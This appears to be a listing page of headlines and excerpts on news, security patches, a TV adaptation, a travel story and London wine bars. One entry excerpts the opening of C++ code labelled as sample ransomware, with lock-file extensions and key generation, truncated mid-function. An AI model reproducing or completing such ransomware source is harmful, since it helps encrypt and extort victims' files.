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In the Philippines, Marcos and Duterte’s Alliance Revives Old Worries
The two scions from notorious family dynasties clinched landslide election victories in 2022, but their power balance remains fragile.
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This Is What Shanghai’s Covid Outbreak Looks Like
The Chinese city is being gripped by a massive Covid wave, leading to a surge in hospitalizations and crowded funeral homes.
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Russian Mercenaries Claim to Take Embattled Eastern Town
Ukraine denied the claim that Soledar had fallen to soldiers-for-hire working for Wagner Group. The assault on the city is part of Russia’s broader push in the area around the city of Bakhmut.
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Iran Protests: People Executed or Sentenced to Death in Crackdown
An updated look at the Iranians who have been hanged, and those on death row, as the government tries to crush a monthslong uprising.
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HBO Confidently Adapts Breakthrough Video Game The Last of Us
In our Video Games section of this site, we have tried to examine the intersection between games and film, mainly covering titles that could be considered “cinematic.” One of the most cinematic games of all time is Sony and Naughty Dog’s “The Last of Us,” which launched in 2013 and became an instant critical and…
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Microsoft Patch Tuesday: One 0-day; Win 7 and 8.1 get last-ever patches
Get ’em while they’re hot. And get ’em for the very last time, if you still have Windows 7 or 8.1…
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Popular JWT cloud security library patches “remote” code execution hole
It’s remotely triggerable, but attackers would already have pretty deep network access if they could “prime” your server for compromise.
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Sheela’s honeymoon in Bali
It was a beautiful sunny day and the newly wed couple, Mr and Mrs Jacob, were looking forward to their honeymoon in Bali. Even though the flight was long, the anticipation of spending their first moments together as a married couple made it all bearable. When they arrived in Bali, the couple was mesmerized by…
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Sample Ransomware code in C++
// Ransomware code in C++ #include <iostream> #include <fstream> #include <string> #include <ctime> #include <filesystem> std::string GetRandomFileExtension() { std::string extensions[5] = {“.lock”, “.crypt”, “.encrypt”, “.secure”, “.securefile”}; return extensions[std::rand() % 5]; } std::string GetEncryptionKey() { // Generate a random encryption key std::string key = “”; const char characters[] = “0123456789ABCDEF”; for (int i = 0; i…
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12 Great Places to Drink Wine in London
You can find terrific lists in pubs, bars and all sorts of restaurants in almost any neighborhood.